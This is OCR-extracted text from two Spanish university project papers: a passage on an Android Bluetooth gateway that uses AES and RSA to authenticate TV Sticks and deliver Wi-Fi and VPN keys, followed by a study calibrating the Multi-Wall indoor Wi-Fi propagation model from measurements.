.xml utilizados para contener los distintos elementos que se
visualizan en pantalla, declarados mediante etiquetas.

B. Bluetooth

La principal tecnologia de comunicacién utilizada en este
sistema se basa en el uso de Bluetooth, que permite la trans-
misién de voz y datos mediante un enlace por radiofrecuencia.
Para este proyecto, se ha optado por el uso de Bluetooth
clasico, después de compararlo con Bluetooth de Baja Energia
[7].

Una ventaja de bluetooth clasico es que permite la conexion
entre diferentes dispositivos a través de sockets. De esta
forma, su programacién resulta similar a la del paradigma
cliente/servidor en redes IP.

Los objetos que permiten realizar una conexién Bluetooth
mediante sockets son conocidos como BluetoothSocket [8] y
BluetoothServerSocket [9]. En el lado del servidor, es decir, el
que espera para una conexion, se utilizard un BluetoothServer-
Socket, cuyo objetivo es crear un socket que se mantiene es-
cuchando hasta el momento de recibir una conexidn entrante.
En el lado del cliente se creard un BluetoothSocket con el que
serd posible inicializar dicha comunicacidon.

C. Seguridad

En esta seccion se tratard el tema de la criptografia utilizada
para el envio de mensajes entre las distintas partes que com-
ponen el sistema del proyecto. La tecnologia de encriptacion
utilizada se basard en AES y RSA, utilizados conjuntamente
para la encriptacion y desencriptacion, por lo que se procederd
a explicar qué es cada uno de estos métodos criptograficos,
el porqué de su eleccién y el modo en el que se utilizan.

1) Criptografia de clave simétrica: AES: El cifrado de
clave simétrica consiste en el uso de una tUnica clave que
poseen dos o mds usuarios. Esta clave serd la que cifrard y
descifrara la informacion transmitida a través de un determi-
nado canal.

Existen diferentes algoritmos de clave simétrica que deben
cumplir las siguientes condiciones para considerarlos fiables:

« Una vez que el mensaje es cifrado, no se puede obtener
la clave secreta ni tampoco el texto plano.

e Si se conociera el texto plano y el texto cifrado, se
debe tardar mas y gastar mas dinero en obtener la clave
secreta, que el posible valor derivado de la informacién
sustraida (texto plano).

La seguridad en los algoritmos de clave simétrica reside en
la propia clave secreta, por lo que el principal problema es la
distribucién de dicha clave a los distintos usuarios para cifrar
y descifrar la informacién. Por otro lado, su principal ventaja
es su velocidad y su gran eficiencia para el cifrado de grandes
cantidades de datos.
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Para el presente proyecto se buscaba un algoritmo que fuera
soportado por la API de Android y que pudiera ser progra-
mado. Para ello, viendo el listado de algoritmos soportados
por Android, se comprobdé que podian utilizarse algoritmos
como AES [10], Blowfish, RC4 o DES.

Finalmente se escogi6 el algoritmo AES con cifrado CBC,
debido a que es el algoritmo estindar recomendado por
NIST (National Institute of Standards and Techology). Es
el mds extendido, con mayor documentaciéon y el que mas
criptoandlisis ha recibido debido a su robustez, por lo que se
convierte en el algoritmo mds indicado para ser usado.

2) Criptografia  asimétrica: RSA: La criptografia
asimétrica, conocida como criptografia de clave publica, es el
método criptografico que usa un par de claves para el envio
de los mensajes. Las dos claves deben pertenecer a la misma
persona que ha enviado el mensaje. Una clave es ptblica
y se puede entregar a cualquier persona, y la otra clave es
privada y solo la conocerd el propietario de las claves. Cabe
destacar, que los métodos criptograficos garantizan que este
par de claves solo podrd generarse una vez, por lo que no
existe la posibilidad de que se generen dos pares de claves
iguales.

El funcionamiento es el siguiente: si la persona que desea
enviar un mensaje lo cifra con su clave privada, cualquier
persona podrd descifrarlo con la clave publica. Con esto se
consigue la identificacién y autenticacion de la persona que
envia el mensaje, ya que tnicamente solo una persona puede
encriptar el mensaje con su clave privada. Esta rama de la
criptografia de clave publica es llamada firma digital.

En cambio, también cabe la opcidn de cifrar un mensaje
con la clave puiblica de una persona, por lo que solo podra
ser desencriptada por la clave privada correspondiente a dicha
clave publica. Encriptando un mensaje de esta manera, se
garantiza la confidencialidad del mensaje. Este método fue
inventado con el fin de evitar el problema del intercambio
de claves en los sistemas de cifrado simétrico, en los que se
requiere una Unica clave secreta, tanto para encriptar como
para desencriptar.

El algoritmo mds importante y el mdas utilizado es RSA
[11], basado en una pareja de claves, piblica y privada. Este
ha sido el algoritmo escogido para la criptografia asimétrica.

VI. DISENO E IMPLEMENTACION

En el presente capitulo se van a abordar los aspectos
referentes al disefio y a la implementacidn del sistema que se
pretende desarrollar en este proyecto, cuyos términos tedricos
se han desarrollado anteriormente.

En primer lugar, el objetivo de este disefio es que el TV
Stick se conecte al servidor del SPMD, a través de una
pasarela, que serd el dispositivo perteneciente al usuario. El
objetivo final es que el servidor tenga la capacidad de enviar
las claves Wi-Fi y VPN de la red al TV Stick, y que éste
dltimo introduzca dichas claves en los ficheros necesarios para
la conexion a la red. Para ello, el TV Stick debera autenticarse
previamente con el servidor, por lo que con este objetivo en
mente, se utilizard un reto que enviard el servidor al TV Stick,
que tendrd que resolverlo.

Por lo tanto, el TV Stick debera pedir un reto al servidor,
a través de la pasarela. Tanto el TV Stick como el servidor

poseerdn un par de claves con las que podrdn encriptar y
desencriptar mensajes entre ellos. El TV Stick, al recibir el
reto lo encriptard haciendo uso de una clave privada y lo
enviara nuevamente al servidor. El servidor, haciendo uso de
su clave publica, desencriptard el reto, y si coincide con el
enviado en un principio la autenticacioén del TV Stick se darad
por vélida. En caso de que la autenticacién sea correcta, el
servidor enviard las claves Wi-Fi y VPN al TV Stick, y este
ultimo introducira las claves en el dispositivo para ser capaz
de conectarse a la red.

A. Desarrollo de las aplicaciones en Android

En esta seccidon se describirdn los aspectos relacionados
con la programacién en Android, utilizada para desarrollar la
aplicacién cliente y la del TV Stick.

1) Programacion de la aplicacion cliente: Se explicard en
este apartado las clases del cliente de manera muy resumida
y su funcionalidad, sin entrar a fondo en la programacion.

Estas son las distintas clases utilizadas en la aplicacion
cliente:

o Clase PortadaActivity: Utilizada para visualizar una
portada al iniciar la aplicacién, mostrando el logo de la
UGR.

La portada que se proyecta al iniciarse la aplicacién
puede verse en la siguiente figura:

o Clase PaginaloginActivity: Utilizada para enviar al
usuario al login de la pagina web del SPMD, en dénde se
deberan introducir las credenciales de acceso al SPMD.
Si el login es exitoso se llamard a la clase MainActivity.

« Clase MainActivity: Es clase principal de la aplicacion,
donde comienzan todos los procesos referentes a la
comunicacién Bluetooth, y en la que se ha disefiado la
interfaz con la que interactuard el usuario para poder
realizar la conexién Bluetooth al TV Stick. En esta clase
se inicializan las variables relacionadas con el adaptador
Bluetooth y se comenzarad la bisqueda de dispositivos
Bluetooth cercanos y la conexién a los mismos.

« Clase BluetoothDeviceArrayAdapter: Clase encargada
de mostrar el listado de dispositivos encontrados via
Bluetooth. utilizado para mostrar el listado de disposi-
tivos encontrados via Bluetooth.

¢ Clase ThreadConexionBT: Es la clase encargada de
realizar la peticién de conexién a otro dispositivo a
través de Bluetooth, una vez que se ha seleccionado un
dispositivo para realizar la conexidn.

« Clase ThreadMensajes: El objetivo de esta clase es el
envio y recepcion de mensajes de texto(Strings) entre dos
dispositivos conectados mediante BluetoothSocket, que
en el caso del presente proyecto serd entre el dispositivo
del usuario y el TV Stick.

« Clase PeticionServidor: Esta clase tiene como objetivo
realizar una peticién a una direccién URL especifica, que
en el caso del presente proyecto serd a la direccion del
servidor de autenticacién, que se alojard en el servidor
del SPMD. Por lo tanto, al utilizar la direccion del
servidor de autenticacion, se obtendra el reto necesario
para la autenticacién y ademds, en caso de que la
autenticacion sea correcta, se obtendran las credenciales
Wi-Fi Y VPN.
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o Clase PaginaSPMDActivity: Esta clase tiene como
funcién abrir una la pdgina web del SPMD, una vez
enviadas las claves Wi-Fi y VPN al TV Stick, con el fin
de que el usuario pueda seleccionar el material docente
alojado.

2) Programacion de la aplicacion TV Stick: En esta
seccidén se explica la programacién basica utilizada en la
aplicacién que se instalard en el TV Stick.

A continuacidn se detallardn todas las clases utilizadas para
la aplicacién de manera resumida, puesto que en la seccién
anterior se ha explicado la programacién de clases similares:

« Clase MainActivity: Clase que tendrd como objetivo la
de inicializar las variables principales y hacer una lla-
mada a las hebras encargadas de la conexién Bluetooth.
La diferencia de esta clase con la que se utilizaba en
la aplicacioén cliente es que no serd necesario realizar
una busqueda de dispositivos ni crear elementos que
interactden con el usuario.

e Clase ThreadConexionBT: Clase que tendrd como ob-
jetivo que la aplicacién espere a recibir una conexioén
Bluetooth entrante, a través de los métodos de Bluetooth-
Socket

« Clase ThreadMensajes: Esta clase tiene distintos obje-

tivos: enviar y recibir mensajes con la aplicacién cliente
una vez conectados mediante Bluetooth, encriptar y
desencriptar mensajes e introducir las claves recibidas
en el dispositivo.
El reto que envia el servidor al TV Stick deberd ser
encriptado y devuelvo al servidor. Por otro lado, las
claves llegardn al TV Stick encriptadas y deberdn ser
desencriptadas por la aplicacién del TV Stick.

o Clase Criptografia: La clase Criptografia tiene como
principal objetivo el desarrollo de funciones con capaci-
dad de encriptar y desencriptar utilizando AES y RSA.
Esta clase es llamada por la clase ThreadMensajes.

B. Desarrollo del servidor de autenticacion

Para el funcionamiento del PID por el que se realiza este
proyecto, es necesario el uso de un servidor central. Dicho
servidor es gestionado por el tutor del proyecto, Jorge Navarro
Ortiz y tiene como objetivo administrar el material docente
alojado en el mismo. Adicionalmente, para el objetivo de
este proyecto, se deberd hacer uso de alglin método para
autentificar con el servidor los dispositivos TV Sticks a los
que se le enviaran las claves, con el fin de evitar problemas
de que se realice el envio a algin dispositivo no autorizado
para recibirlas.

Para ello, se han programado en el servidor central del
PID diferentes archivos en formato PHP con la capacidad de
autenticar a los dispositivos que soliciten una peticién a dicho
servidor.

El método pensado para la autenticaciéon es mediante un
reto o mensaje que solo conozca el servidor, y la generacién
de un certificado digital, que constard de una clave puiblica y
privada para cada dispositivo TV Stick, ademds de una clave
secreta de la persona que genera el mensaje.

A cada dispositivo TV Stick se le proporcionara una clave
publica y otra privada, aunque en realidad dicho dispositivo
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solo necesitard hacer uso de su clave privada para las en-
criptaciones y desencriptaciones. Por otro lado, el servidor
deberd tener almacenadas como minimo, las claves publicas
para cada dispositivo.

La programacién de este servidor de autenticacién se ha
realizado en PHP, y consta de dos archivos: uno con las
funciones necesarias para encriptar y desencriptar mensajes,
y otro en el que se envian y reciben los mensajes entre el
servidor y la aplicacién cliente.

En la siguiente figura pueden observarse los distintos men-
sajes que se envian entre las tres partes del sistema mientras
dura la comunicacién entre ellos:

Intercambio de mensajes entre
TV Stick, Cliente y Servidor

Tv Stick Cliente Servidor

id?

.

id_dispositivoX N
Ld

Peticidn de reto

v

4 Reto del servidor
b

|4 reto + Reto del servidor
hl

reto_enc + Reto resuelto |
Ld

ID + Reto resuelto del Tv Stick |
Ld

Comprueba reto :

4 OKAY + claves Wi-Fi y VPN
hl
4 FAIL_ID
hl
| 4 auth + claves Wi-Fiy VPN
&
claves_recibidas Al
Ld
claves_no_recibidas |
Ld
Tv Stick Cliente Servidor

Fig. 2. Mensajes enviados entre las distintas partes del sistema.

C. Uso de criptografia: RSA y AES

En esta seccidn, se va a explicar cémo se han utilizado los
algoritmos AES y RSA para enviar mensajes encriptados a
través de un canal inseguro, como la red de datos, red Wi-Fi
o red Bluetooth, entre los dispositivos TV Stick, la aplicacién
cliente, y el servidor, con el fin de realizar la autenticacion.

En primer lugar, se encriptard el mensaje en texto plano,
utilizando una clave secreta mediante el algoritmo AES. Una
vez encriptado el mensaje, se calculard la longitud de la clave
simétrica y la del vector de inicializacién (IV) utilizado con
AES. Estas longitudes constardn de 3 bytes y se afiadird al
mensaje final a enviar, con el fin de encontrar en la cadena
de texto enviada la localizacién exacta de la clave simétrica
encriptada y la del IV.

Seguidamente, se encriptard la clave secreta utilizando el
algoritmo RSA, donde la clave utilizada para la encriptacién
dependera del remitente. Para el caso del TV Stick, la clave
secreta usada en AES se encriptard o desencriptara utilizando
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la clave privada del dispositivo. En cambio, el servidor de
autenticacion, utilizard la clave publica del dispositivo TV
Stick, tanto para la encriptacién como para la desencriptacion.

Finalmente, se generard una cadena de texto formada por
las siguientes variables:

o Longitud de la clave simétrica: 3 bytes sin encriptar al
comienzo del mensaje que servirdn para localizar la clave
simétrica en la cadena de texto.

o Longitud del vector de inicializacién

o Vector de inicializacién

o Clave simétrica encriptada en RSA

« Mensaje encriptado en AES

Con la cadena de texto que se reciba en algin tipo de
dispositivo, se desencriptard con RSA la clave simétrica y
el IV, conociendo previamente la longitud de cada uno, y con
ambos pardmetros, se desencriptard el mensaje que se desea
obtener utilizando AES, por lo que finalmente, el mensaje
en texto plano que fue enviado y encriptado, podra ser leido
correctamente sin que haya podido ser obtenido por alguna
entidad ajena al objetivo del proyecto.

En el presente proyecto, la criptografia se ha utilizado para
la autenticacion y la seguridad en el envio de las credenciales.
En primer lugar, el servidor de autenticacién enviard un reto
en texto plano al TV Stick. EI TV Stick, al recibir dicho reto,
utilizara su clave privada de RSA y una clave secreta de AES
generada aleatoriamente ,para encriptarlo y enviarlo de nuevo
al servidor. El servidor cuando recibe dicho reto encriptado,
lo desencripta utilizando la clave publica RSA del TV Stick
y comprueba si coincide con el reto que se envio en primer
lugar. En caso de que ambos retos coincidan, se procedera al
envio de credenciales. Para el envio, el servidor encripta las
credenciales con la clave publica del TV Stick (RSA) y una
clave secreta (AES), y la envia al TV Stick. Finalmente, el TV
Stick al recibir las credenciales encriptadas, las desencripta
utilizando su clave privada e introduce dichas credenciales en
el dispositivo.

En las siguientes figuras puede verse el proceso de en-
criptacién y desencriptacién del reto a lo largo de la comuni-
cacion entre el servidor de autenticacién y el TV Stick:

Red Wifl /Datos

Recibe

Reto encriptado

1D TV Stick (123}

Bluetooth
.  Recie
—_—
o \
L &

TV Stick
(id=123)

Reto en texto plano
Reto encriptado Clients Senvidor

Encripta
pe

Clave privada (id =123) (RSA)

Clave simtrica (AES)

Fig. 3. Proceso de encriptacién del reto en el TV Stick.

_— e E .
Desencripta — b
m > Reto encriptado E

Servidor Reto en texto plano

(Desencriptado)

Selecciona
BT -

ID TV Stick (123) Clave publica (id =123) (RSA)
-

Clave simétrica (AES)

Fig. 4. Proceso de desencriptacién del reto en el servidor de autenticacion.

VII. CONCLUSIONES Y LINEAS FUTURAS

En el presente Trabajo de Fin de Grado se ha desarrollado
un sistema compuesto por diversos dispositivos, cuya funcién
final es la de realizar una pasarela que comunique un dis-
positivo TV Stick y el servidor del Servicio de Proyeccion de
Material Docente, con el fin de que el servidor pueda enviar
diferentes tipos de credenciales a través de un medio inseguro.

El objetivo propuesto ha sido desarrollado con éxito, ela-
borandose una aplicaciéon en Android dedicada a smartphones
y tabletas, que actuard como pasarela entre el servidor y el TV
Stick. Ademas, se ha creado otra aplicacién para el TV Stick
con la capacidad de conectarse a la aplicacién del cliente
que siempre estard activa, realizdndose una comunicacién
sencilla para el usuario. También se ha elaborado un sistema
de seguridad que asegura autenticacién y proteccién frente
a intrusos que pretendan obtener las credenciales que se
enviaran.

En definitiva, el sistema desarrollado cubre los objetivos
propuestos, proporcionando autenticaciéon para los disposi-
tivos TV Sticks utilizados en el PID, y ademads protegiendo la
integridad de la red Wi-Fi y VPN, al realizarse el cambio de
claves periédicamente, sin que la obtencion de éstas por parte
de cualquier usuario tenga un efecto nocivo en el sistema.

Aunque se dan por conseguidos los objetivos de este
trabajo de fin de grado, existen algunos aspectos que podrian
mejorarse en un futuro, o implementarse adicionalmente. Una
de estas mejoras serian la implementacién de la aplicacién
dedicada al usuario en otros sistemas operativos, como Win-
dows, i0S, Mac OS y Linux.
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Resumen— En este proyecto se plantea la obtencion de un
modelo de propagacion indoor genérico para entornos indoor de
de edificios convencionales. Concretamente, el estudio se
centrara en el modelo empirico Multi-Wall, que sera entrenado a
partir de una gran campafia de medidas realizada en distintas
localizaciones. Asi mismo, se buscard un modelo genérico, valido
para varios canales de transmisién y con un coste computacional
lo més pequefio posible.

Por otra parte, también se plantea una primera aproximacion
al estudio de las reflexiones y demés efectos de transmision
dados en entornos de interior. Para ello, se creard un modelo
empirico que prediga la atenuacién en puntos situados, de
forma circular, a una misma distancia del punto de acceso.

Palabras clave— Modelos de propagacion en interiores, efectos
en la transmision, canal inaldmbrico, atenuacion, reflexion.

. INTRODUCCION Y OBJETIVOS

AS telecomunicaciones en general y las redes

inaldmbricas en particular han presentado a lo largo de
estos ultimos afios una enorme evolucion. Sin embargo, el
problema de la falta de cobertura de la sefial Wi-Fi es
bastante habitual en ambientes domésticos y en el ambito
laboral. Por tanto, surge la necesidad de estudiar las
caracteristicas del canal indoor y de generar modelos que
intenten predecir la potencia recibida, o el path loss, en
distintos puntos de los edificios, para asi realizar un buen
disefio y dimensionado de la red.

Por tanto, como primer objetivo del proyecto se pretende

la generacion de un modelo de propagacion indoor (que sera
el modelo Multi-Wall) capaz de predecir con un alto nivel de
precision y un bajo coste computacional, la potencia recibida
en cualquier punto de un edificio. Este modelo deberd ser
entrenado con medidas tomadas en varias localizaciones y
utilizando varios canales de transmisién para ser lo mas
genérico posible y poder ser aplicado a otros entornos de
similares caracteristicas.
Por otro lado, se plantea también la generacion de un modelo
de propagacién que, teniendo en cuenta el fenémeno de la
reflexion, sea capaz de predecir la potencia recibida en
puntos situados a una misma distancia del punto de acceso.

Il. FUNDAMENTO TEORICO

El canal indoor es aquel que se utiliza para la transmision
de informacion en el interior de un edificio. Normalmente
presenta numerosas dificultades para su modelado, dado que
son muchos los factores que influyen, como la estructura del
edificio, el mobiliario, el tipo de materiales de construccion
utilizados, etc. Para entender bien cémo influyen estos
factores en la propagacién de las ondas electromagnéticas, es
necesario estudiar los tres mecanismos principales de
propagacién, la reflexion, la difraccion y la dispersién. En la
Figura 1 se pueden apreciar estos tres fendmenos.

‘ Reflexion ‘

Transmisor Receptor

Fig.1. Principales fenémenos de propagacion

En primer lugar, la reflexion ocurre cuando las ondas
inciden sobre materiales de dimensiones mucho mayores que
la longitud de onda. Durante este fendmeno, parte de la onda
puede transmitirse al objetivo con el que ha colisionado. El
resto de la onda que no se transmite, se refleja y viaja por el
mismo medio que lo hacia la onda original. En entornos de
interior, la reflexién suele producirse en paredes, techos y
suelos.

Por otro lado, la difraccion ocurre cuando las ondas
electromagnéticas inciden sobre objetos con superficies
irregulares. Gracias al efecto de la difraccién, todos los
puntos de un frente de onda pueden ser considerados como
fuentes de produccion de ondas secundarias (principio de
Huygens). Por tanto, las ondas pueden alcanzar el receptor
aun cuando no existe linea de vision directa con el
transmisor. En interiores, las difracciones se producen
normalmente en el mobiliario existente.
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Por dltimo, la dispersion se produce al incidir las ondas
con objetos de dimensiones menores a la longitud de onda.
Las plantas y los pequefios objetos son fuentes de
dispersiones en interiores [3].

La combinacién de todos estos fendmenos dan lugar al
efecto multirayectoria, que juega un papel muy importante en
las redes inalambricas. Este efecto ocurre cuando la sefial
transmitida Ilega al receptor habiendo recorrido mas de un
camino. Por tanto, en el receptor se reciben distintas “copias”
de la sefial original, que llegan retardadas y con diferente
amplitud y/o fase. Dependiendo del desfase, la interferencia
sera constructiva o destructiva, con lo que la sefial recibida
variara con un caracter aleatorio.

Esto provoca que el path loss, entendido como la
diferencia entre la potencia transmitida, presente
desvanecimientos a corto plazo, como se puede ver en la
Figura 2 [5]. Los picos que se aprecian se deben al efecto
multitrayectoria, y dependeran de las interferencias
(destructivas o constructivas). Este caracter aleatorio
complica el modelado del path loss en este tipo de entornos.

Path Loss medio

Small Scale Fading

Path Loss (dB)

Large Scale Fading

Distancia (m)
Fig.2. Path Loss instantaneo.

A. Modelos de propagacion

Para intentar modelar el path loss nacen los modelos de
propagacién. El modelo de propagacién mas simple es el del
espacio libre. Supone que existe una linea de vision directa
entre el transmisor y el receptor y que no hay obstaculos
entre ellos. Sin embargo, debido a su sencillez, no puede ser
usado para predecir el path loss en los entornos de interior.
Por esta razon, se han creado un conjunto de modelos de
propagacion en interiores. Por un lado, los modelos
deterministas se basan en técnicas de simulacion (en
fundamentos fisicos), mantienen la precision para distintos
tipos de entornos, pero son complejos y computacionalmente
lentos (ejemplos: modelo de rayos y el modelo FDTD). Por
otro lado, se encuentran los modelos empiricos, que
consideran de forma implicita todas las influencias del
entorno. Se basan en un entrenamiento realizado con medidas
reales. En general son computacionalmente mas eficientes y
mas faciles de implementar, aunque su precision no sea tan
alta. En este proyecto se estudiara en profundidad el modelo
Multi-Wall, ya que es el que mejores resultados ofrece.

B. Modelo Multi-Wall

La expresion (ecuacion 1) corresponde con el modelo
Multi-Wall general. EI Path Loss total se define como la
suma de las pérdidas de propagacion en el espacio libre, una

constante L. y las pérdidas sufridas al atravesar las paredes y
los suelos.

Kf+2

(K +1 b
PL = Lgs + Lo + iy LyiKwi + LK, 7 [dB] (1)

En este proyecto se tomard Unicamente dos tipos de
paredes, paredes finas con una atenuacion de 3,4 dB y
paredes gruesas, con una atenuacion de 6,9 dB. Por otro lado,
los suelos presentaran una atenuacion de 18,3 dB (ecuacién
2). Estos valores son los estandares para el modelo Multi-
Wall. En la Figura 3 se muestra como el rayo directo debe
atravesar una pared fina, una pared gruesa y dos suelos hasta
Ilegar al receptor.

Kf+2
Kf+1_

)

((A)) Lw1
Tx

Ls Lw2

O Lw = Paredes finas, 3.4 dB

O Lw = Paredes gruesas, 6.9 dB

B L:=Suelos, 18.3dB

" =@

Fig.3. Modelo Multi-Wall simplificado. Alzado del edificio.

I1l. REALIZACION PRACTICA

Como ya se ha comentado, al tratar con un modelo empirico,
es necesario la realizacion de una camparfia de medidas. Se ha
decidido usar el estandar 802.11b en la banda de 2,4 GHz.
Por tanto, como transmisor se necesitara un router
inalambrico como el de la Figura 4 y como receptor, un
analizador de espectros proporcionado por la Universidad
junto con una antena VERT (Figura 5).
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Fig.4. Router inaldmbrico Comtrend HG 536+.
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Fig.5. Analizador EXA Signal Analyzer N9010A y antena VERT2450
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C. Entornos de trabajo y campafia de medidas.

El estudio de este proyecto se ha realizado para dos
viviendas, en las que para una de ellas se ha localizado el
router en dos plantas distintas. En cada localizacion se va
realizar una campafa de medidas para los canales 1, 6 y 11 de
la banda de 2,4 GHz. La primera cuestidn a resolver es en
qué puntos de la vivienda tomar las medidas. En la Figura 6
se puede ver la distribucién de los puntos de medida en la
planta alta y baja de la primera vivienda, y en las Figura 7 y
8, la distribucion de los puntos en la segunda vivienda.

|

Fig.6. Distribucién de los puntos de medida en la primera vivienda..

En estas figuras se muestra claramente como se ha
realizado esta distribucién. De forma que se ha intentado
dejar una separacion de un metro entre puntos colindantes,
siempre que sea posible (depende sobre todo del mobiliario).
También se indica claramente donde se sitla el punto de
acceso en cada planta.

28

29

[
+ & 4

Fig.7. Distribucién de los puntos de medida en la planta baja de la segunda
vivienda.
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Fig.8. Distribucién de los puntos de medida en la planta alta de la segunda
vivienda.

Con respecto a la segunda vivienda, dado que es un
edificio mas grande, se ha dejado una separaciéon de 1.5
metros, localizando el router Gnicamente en la planta baja.

Antes de realizar la primera medida, es necesario generar
una tabla donde para cada punto se recoja la distancia entre el
transmisor y el receptor y el nimero de paredes y suelos que
el rayo directo atraviesa. Como paredes finas se han
considerado las puertas, las ventanas y las paredes con grosor
inferior a 10 centimetros. Con respecto a las paredes gruesas,
se han considerado los muros de hormigén de grosor mayor
que 10 centimetros.

Cabe destacar que para cada punto de medida se ha
realizado un total de cinco mediciones, descartando la menor
y la mayor de ellas y realizar el promedio de las tres
restantes. En total se tienen 79 puntos de medida en la
primera vivienda y 72 puntos en la segunda. En total se han
realizado 3450 medidas. De la misma forma se han calculado
las pérdidas por propagacion en el espacio libre para cada
punto. Por otro lado, se ha medido la potencia transmitida del
router juntando la antenna VERT junto con la del router,
obteniendo un valor de 0 dBm. Por tanto, el Path Loss no es
mas que el moédulo de la potencia recibida en cada caso. En la
Tabla 1 se puede ver un ejemplo de las medidas tomadas.

TABLA 1. EJEMPLO DE TABLA GENERADA TRAS LAS MEDICIONES

P d K,, K,, K; Med, Med, Med; Media
(m) (dBm)  (dBm) (dBm) (dB)
1 44 1 0 1 -67.4 -68.2 -67,6 -67.73
2 428 1 0 1 -70.2 -66.9 -67.6 -68.23
3 44 1 0 1 -68.2 -67.8 -68.1 -68.03
79 563 0 2 0 -67.8 -70.9 -69.6 -69.43

D. Calibracion del modelo Multi-Wall.

En primer lugar, se han usado los parametros estandar del
modelo:

¥ =2,L. = 0dB, Ly, = 3.4,L,, = 69,L; = 18.3,b = 0.46
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Para cada punto, se obtiene un valor del Path Loss
estimado. El siguiente paso ha sido evaluar estadisticamente
el modelo, de forma que se ha calculado el error absoluto
(ecuacidn 3) entre los valores predichos por el modelo y los
valores reales, y la varianza (ecuacion 4) entendida como la
diferencia de estos valores al cuadrado. Este proceso se a
realizado para cada localizacion del router y cada canal de
transmision.

. 1
Media = I Zﬁllpl‘modeloi - PLmedidoi| [dB] (3)

1 2
o? = N ?Izl(PLmodeloi - PLmedidoi) [dBZ] (4)

Asi los resultados obtenidos se pueden ver en las tablas 2
y 3. Como se puede comprobar, en la primera vivienda el
error medio esta entorno a los 3 dB y en la segunda vivienda
también. Analizando la varianza en la primera vivienda se
puede ver que cuando el router se sita en la planta baja,
existe una menor dispersion de las medidas. Esto se debe a
gue en este caso, el router se encuentra en una posicion mas
centrada dentro de la vivienda. En la planta alta, el router se
encuentra en una habitacion, rodeada de paredes, lo que
provoca un mayor nimero de fendmenos de propagacion
(reflexiones, multitrayectorias, etc).

TABLA 2. PRIMERA VIVIENDA

Err. Varianza Desv.

Pos. router Canal Medio (dB?) Est.
(dB) (dB)

1 3.129 12.61 3.689

Planta Alta 6 2.925 11.823 3.444
11 2.927 11.868 3.445

1 2.39 8.892 2.982

Planta Baja 6 2.547 9.114 3.019
11 2.359 8.425 2.903

También se puede apreciar que para el canal 11 se
obtienen mejores resultados. Esto se debe a que en ambas
localizaciones este canal es el mas libre. A pesar de haberse
usado los parametros por defecto del modelo, el modelo
predice con bastante fiabilidad el Path Loss.

TABLA 3. SEGUNDA VIVIENDA

Err. Varianza Desv.

Pos. router Canal Medio (dB?) Est.
(dB) (dB)

1 3.150 12.838 3.583

Planta Baja 6 3.139 12.860 3.586
11 3.043 12.503 3.536

Una vez se tienen estos resultados, el siguiente paso es
realizar una calibracién de los pardmetros del modelo de
forma que se minimice el error cuadratico medio entre los
valores reales y los predichos por el modelo. Para ello, se ha
usado la funcién fminsearch de Matlab. Para cada pardmetro
empirico, esta funcién devuelve el valor que debe tener para
minimizar el error cuadratico medio, comenzando en un
punto inicial de busqueda (ecuacion 5).

2
ECM =—- Z?I:l(PLmodeloi - PLmedidoi) [dBZ] (5)

1
N

La expression del PL,,,q401, debe quedar en funcién de
todos sus pardmetros empiricos. Realizando la media
ponderada de los valores obtenidos de cada parametro, el
modelo genérico se puede expresar de siguiente la misma
forma que la ecuacién 6. Cabe destacar que el modelo
generado puede wusarse en viviendas de similares
caracteristicas.

(%—0.46)

Lps = 0.0522 + 2.843K,; + 6.436K,,,, + 17.519K, [dB]

(6)

d A
Les = =10+ 1.774 - logy (%) — 20 - logy (H) [dB] (7)

Para comprobar la validez del modelo generado, se ha
posicionado el router en el mismo lugar para asi aprovechar
las medidas empiricas tomadas. Como se puede observar el
modelo presenta una precision bastante Buena. En la primera
vivienda el error cometido es apenas de 1,88 dB, con una
varianza de 5,25 dB2.

Lo mismo se ha realizado con la segunda vivienda,
obteniéndose valores algo peores, pero aun asi bastantes
precisos. Se tiene un error de 2,52 dB y una varinza de 10,26
dB?.
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Fig.9. Comparacion del Path Loss real y estimado, primera vivienda.

aw &
Al v
77 ¥ v =

A
4

Path Lass (d8)
@
3
T

aY ¥ PLempiico
45 v & PLtedrico (MWM)
Iv

ol 1 L {
0 10 2 30 0 50 &0
Punto de medida

Fig.10. Comparacion del Path Loss real y estimado, segunda vivienda.

En las Figuras 9 y 10 se aprecia claramente la
comparativa del Path Loss real y el estimado por el modelo.
Se ha remarcado aquellos puntos donde la diferencia supera
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los 5 dB. En general, se puede comprobar la gran validez del
modelo.

E. Estudio del fenémeno de la reflexién en entornos indoor.

El objetivo de esta parte es estudiar en méas detalle el
fendmeno de la reflexion en los entornos de interior.
Concretamente, se tratard de generar un modelo empirico que
prediga la potencia recibida en puntos situados a una misma
distancia del router. El estudio es complejo, ya que cada
localizacion presenta una configuracién especifica. Ademas,
las reflexiones en entornos indoor pueden darse en
numerosos objetos y est4 condicionado en gran medida por el
tipo de material de dichos objetos. Por tanto, para este estudio
se han tomado wuna serie de consideraciones 'y
simplificaciones:

1. El lugar de estudio estard libre de obstaculos e
interferencias electromagnéticas.

2. Solamente se supondrd una reflexion. El router se
situara de cara a una pared, por lo que la reflexion se
producira en dicha pared.

3. El rayo reflejado serd constructivo, y el exponente de
pérdidas se considerard igual al del espacio libre.

En una primera aproximacion, (Figura 11) se puede ver
cdmo la potencia recibida en los puntos situados a una misma
distancia del router serd la suma de la potencia del rayo
directo y el rayo reflejado. El punto exacto donde se
producira la reflexién, sera el corte de la proyeccién con la
pared.

Punto 1

Punto 2

Punto 3

Rayo reflejado

Router

Fig.11. Esquema del escenario de trabajo.

Sin embargo, al tomar las medidas en puntos situados al
lado de la pared, se obtenia una mayor potencia que en el
caso de que no existiese la pared. Se podria entender a la
pared como una pequefia fuente de potencia. Es por esta
razén por la que hay que considerar un valor de atenuacion L
(pérdidas por reflexién). De esta forma, se obtiene la potencia
que transmite la pared. Calculando el valor de L para los 11
puntos con los que se ha representado la pared, se obtiene un
valor de 1,82 dB (el cual es un valor logico teniendo en
cuenta que se trata de una reflexion). Ademas, a cada rayo se
le deben aplicar las pérdidas por propagacion segin la
distancia recorrida.

d
Prayodirecm(dBm) = PB.(do = 1m) — 10y - lOglo(d_:)) (8)
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d
Prayoreflejado(dBm) = Przno pared 1.82— 10]/ : logIO(d_z) (9)

= P(do = 1m) — 10y - log1o ;) (10)

T2n0 pared

La expression general del modelo es la que se recoge en
las expresiones 11y 12.

Prrayo directo(@Bm) Prrayoreflejado(dBm)

Py (mW) = 10 10 +10 m

(11)

Prl(dBm) =10 -logy (Prl (Tle)) (12)

Al comparar los resultados con las medidas en los puntos
situados a una distancia d,del punto de acceso, se obtiene un
error de tan solo 0,372 dB, el cual es bastante bueno teniendo
en cuenta las consideraciones realizadas. Por tanto, el modelo
